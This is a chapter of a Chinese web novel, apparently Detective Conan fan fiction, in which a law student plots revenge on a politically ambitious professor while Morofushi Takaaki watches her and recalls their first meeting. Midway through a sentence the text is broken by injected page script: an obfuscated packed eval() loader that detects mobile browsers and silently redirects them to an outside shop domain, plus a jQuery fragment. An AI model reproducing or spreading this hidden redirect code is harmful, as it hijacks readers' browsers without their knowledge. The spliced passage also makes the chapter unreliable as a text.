文趣网 > 都市小说 > 柯学,还是偶活?这是个问题 > 14. 这是什么?
    呐,还真是枯燥啊。

    讲台上年迈的教授在上面口沫横飞,讲得格外有激情,教室后排的我支着一只胳膊托着脑袋,在另一只手的指尖转着钢笔,索然无味地听着。

    若不是学分需求,我才不会来听这寡然无味的政史课程。

    该怎么来评价呢,大概就是呕哑嘲哳难为听。

    如果说这个教授只是讲述正常的所学的课程内容也罢,好歹勉强能入耳,让我能取其中精华去其糟泊地学一学,谁能想到,这是看起来像是温和儒雅学者的老师,实际上个喜欢夹带私货的恶心政治家。

    从预期在年底会去参选议员,再到自己的政治目标。整节课有大半的时间都是在说自己将来的规划,畅想着自己上台后会做出哪些改变。

    噫,谁想听这些,我来这,是学习怎么踩在法律底线上做个法外狂徒的,不是来听你讲这些废话的。

    我颇为烦躁抓了抓头发,往嘴巴里塞了一颗白水晶。

    前世,我经常会因为实验数据还有计算数据而烦躁,但是在那个时候是不允许在实验室里吃食物的,故而在好友的建议下,我也学着某位世界级歌手那般,在思考时往嘴里含一颗白水晶来帮助我思考。

    我用舌尖抵着口腔内侧的脸颊肉,眼睛透过镜片阴恻恻地睥着台上的身影。

    许是教室里有不少迎合他的学生,助长了他的气焰,得意忘形之际,那位高桥教授口不择言,说了点“心里话”呢。

    啊哈,向上提高中上层公务员的待遇?向下征收税款,喔,原来前阵子搞出那么多幺蛾子,是你这个坏登西啊....

    联想起前阵子到东京分部找碴的那个检察官,我不禁眉头紧皱,要是早知道东都大学的教授、任课老师是这种货色,我当初就不应该选择这里。

    可恶,可恶,可恶,这纯粹是浪费我的时间,时间就是金钱啊,懂不懂啊喂,我还要养一整个财团的人,没工夫陪你闹,听你讲一堆废话。

    若是眼神可以杀人的话,这位高桥教授早就被我千刀万剐,细细切作燥子。

    星座学上说天蝎座恩怨分明、极度记仇。我作为一只合格优秀的天蝎女兼极道主理人,自然也是如此。

    该用什么方式来还回去呢?

    我想着,舌头卷着白水晶在口腔里翻滚,手中的笔在课桌上来回移动着,一幅思维导图很快便显现于纸上。

    嗯....,欲望,人类行为的驱动力...

    有了,我依稀记得这周的犯罪心理学课程好像有讲过类似的内容,那便用他来练练手吧。也算是为这个国家拔除一个未来的蛀虫。

    目暮警官,我又来给你开门送温暖咯,请接好这份升职加薪大礼包喔。

    哼哼哼~~

    ……与此同时,坐在我斜后方的诸伏高明可就没那么好的心情。

    他望着前排那粉色长发的身影,心情异常复杂,就像坐过山车一般,上,下,上,下,上,上,上…

    学妹,你这……是不是有些太明目张胆了?不要仗着坐在人少的后排,就这么在光天化日,坐满法学生的教室里,肆无忌惮地谋划着犯罪吧。

    诸葛高明这时也不知道是该高兴自己的视力过于良好,就真的,他坐在这个位置,只是余光朝旁边一瞥,就能把前排学妹纸上写的内容一览无余。

    啊……

    诸伏高明思考,诸伏高明沉默,诸伏高明头痛。

    星宫学妹,你这五年真的是去香港留学而不是去阿美丽卡留学吗?这思想也太过自由了吧。

    诸伏高明想着,额头上的某根神经就在隐隐作痛。

    由衣,你的好朋友可能要走上一条不归路了。

    唉…学妹。

    诸伏高明曾见过星宫雪纪,不止是在几个月前弟弟的学校里,还是在五年前,他们都在长野的时候。

    那时,诸伏高明和大和勘助应邻居阿姨之托,去接被大雪困在学校的生病的上原由衣。

    他们两赶到上原由衣的教学楼时,看到的便是这幅场景。

    上原由衣身上盖着一件厚重的白色毛绒外套平躺在长椅上,额头上敷着两三张堆叠在一起用于降温的湿巾,她的脑袋枕在另一位同龄女孩的大腿上。

    让他们感到诧异的是,这位应该是上原由衣同班同学的女孩,拥有一头粉色的长卷发以及一双雪色的双眸。

    “吧嗒…”

    大和勘助下意识地垂下手时,忘记手上还拎着未放在教学楼入口处的雨伞,这把大号黑色推拉式雨伞在重力作用下往下落,它伞尖的柱状体接触到地面,发出吧嗒的声响。

    “?”

    听到声响后,诸伏高明看见眼前的这位粉发雪眸国小女生抬头看了过来。

    她的目光粗略地在自己和大和勘助的身上扫了几眼,随后便开口道:“孔明(koumei)…和阿勘(kan)?”

    从诸伏高明站着的角度,他能清晰地感觉到哪位女生的迟疑,看清她那雪色眼眸中的探究与…惊讶?

    不容自己多想,身旁的大和勘助已经走了过去。

    他便看见那名女生一手抱住上原由衣的上半身,另一只手托着她的脑袋,小心翼翼、蹑手蹑脚地从长椅上下来。

    像是某种交接仪式一般,两人目光相对,大和勘助从这名女生的手中郑重地接

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17642643|206726||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    过睡得昏昏沉沉的上原由衣。

    随即,那名女生又从自己的包里取出了一朵八重樱永生花挂件,放进了上原由衣的校服口袋,说道:“请你们代我照顾好由衣。”

    说完,她便背上书包头也不回地往外跑去。

    见此情形,诸伏高明连忙担心地追过去喊着:“同学,外面正下着暴风雪,你一个人行路太危险了,我送你一程。”

    那天的风雪交加,密雪夹杂着凌冽呼呼刮着的寒风,人眼的能见度很低,女孩奔跑的速度很快,他追到门口时便只看见外面白茫茫一片中远去的身影,诸伏高明眯着眼睛,凭借着良好的视力依稀从前面少女的大致轮廓以及随风传来的嘈杂声音中辨别着她想要表达的意思。

    “谢谢...,没关系,家里有人在等我...”

    而后她的身影便彻底消失在风雪中。

    那之后,诸伏高明便时常能从上原由衣的口中听到这个名字。

    “雪纪在外面怎么样了?”“雪纪今天开心吗?”“雪纪给我写信了。”“雪纪给我寄礼物了。”诸如此类的话语言。

    说的次数多了,诸伏高明也难免会问上一嘴:“雪纪是谁?她去了哪?”

    上原由衣便会很认真地同他介绍她的好朋友雪纪,诸伏高明这才知晓了,原来那位粉发雪眸的女孩名叫星宫雪纪,去了香港留学。

    上次在景光学校再遇时,诸伏高明他只觉眼熟好像在哪里见过,而今再次近距离接触,那些老去的记忆再次浮现。

    在这遍地黑发蓝眸的日本,粉发雪眸实在是令人印象深刻,让他想忘记都很难。

    诸伏高明屈着食指扣在下巴上,正思考斟酌着如何上前与前面的少女攀谈,那边下课铃声便响起了。

    迅速地,前面的人影立马就收好东西站了起来准备离开,诸伏高明当机立断便把手上的钢笔往前一甩,那只钢笔如他期待地那般稳稳地落在了前排的桌子上。

    “?”

    收拾好东西准备离开教室去往食堂的我突然感觉到后背的触感,好像是有人在有一下无一下地戳着我,不明原因的我带着疑惑扭头看向身后,然后便看见那张蓝眼长毛缅因猫的水嫩脸庞,以及一只伸到一半的手指。

    我稍作打量了一番眼前的缅因,眯起眼睛,下巴微微抬高,透过镜片从上至下地俯视着他道:“这位同学,请问你戳我的后背,是有何贵干呀?希望你能尽量快一些,我现在很饿呢,要急着赶去食堂吃午饭。”

    诸伏高明一脸正色地指着前面不知何时飞到我桌上的钢笔说着:“学妹,打扰了,我的钢笔不小心掉到了你的桌子上了,可以请你帮我捡一下吗?”